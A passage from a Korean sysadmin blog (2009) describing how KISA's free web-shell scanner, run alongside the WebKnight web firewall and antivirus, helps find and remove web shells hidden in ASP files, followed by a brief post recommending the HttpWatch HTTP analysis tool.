실제로 위 소스가 어떻게 작동하는지는 모르겠지만, 일단 악성 코드 패턴에 해당되는 내용이니 해당 asp 파일을 열어 남김없이 삭제해야 하겠다.

특히 위 검색 결과 그림에서 '7개 이상'의 웹쉘 코드가 발견된 파일은 집중 관리 대상이 되겠다. (결과 화면의 '수준' 탭에 나타난다.)

 

이 정도만 잡아낼 수 있으면 서버 관리자나 개발자에게 한결 수월하다. 현재 전체 서버에는 K사의 백신을 실시간으로 실행하고 있지만,

저렇게 이미 잡입돼 숨어있는 소스는 찾아내지 못하고 있다. (이런 툴을 무상 배포하는 KISA에 다시 한번 감사의 뜻을 전한다.)

 

이 밖에 휘슬은 주기적으로 웹쉘 소스를 탐색하도록 예약 검사도 지원하고 있다

사용자 삽입 이미지

이 휘슬은 앞서 언급한 '웹나이트' 웹방화벽과 함께 운영할 수 있다. 현재 우리 회사 환경에서도 그리 적용하여 운영중이다.

또한 감염 수정된 asp 파일은 따로 검염소로 격리 보관하며 유입 패턴과 소스 분석이 가능하도록 하고 있으며,

해당 감염 파일을 KISA 측으로 송부하여 신고하는 기능도 제공하고 있다.

 

일단 휘슬로 급한 불을 끌 수 있어 한시름 놓게 됐다. (요즘 '불' 얘기 하기가 좀 거시기 하다...)

물론 그렇다고 이것만 믿고 마냥 손놓고 있어도 안될 것이라 역시 관리자의 지속적인 관심과 주의가 필요할 것이다.

아울러 일주일에 한두번 정도는 KISA나 지원센터 홈페이지를 방문해 최신 보안 정보도 습득하는 습관도 필요하겠다.

 

한동안 우리 서버에서도 극성을 부리던 악성 코드와 웹쉘 프로그램이 지금은 다소 누그러진 추세다.

기존에 사용하던 웹나이트 웹방화벽도 최신 버전으로 교체했고, 앞서 말한 MC-Finder와 휘슬을 통해 매일매일 점검하며,

비교적 공신력 높다는 K사 백신으로도 매일 체크하면서 파일 상태를 모니터링 하고 있기 때문인 듯 하다.

역시 '시스템 보안'은 이를 관리하는 관리자의 보안 의식과 관심에서 시작됨을 다시 한번 통감하는 요즘이다.

 

2009/05/20 18:15 2009/05/20 18:15
http 에서 화일에 대한 정체 / 지연 / 문제 부분을 분석하는 툴입니다.

System Requirements:

Windows XP, Vista or 2003/2008 Server

Internet Explorer 6, 7, 8 Beta 2 or Mozilla Firefox 2.0, 3.0, 3.1 Beta 2

사용자 삽입 이미지

http://www.httpwatch.com/download/ 에서 다운 받으실수 있을겁니다.

2009/05/19 21:28 2009/05/19 21:28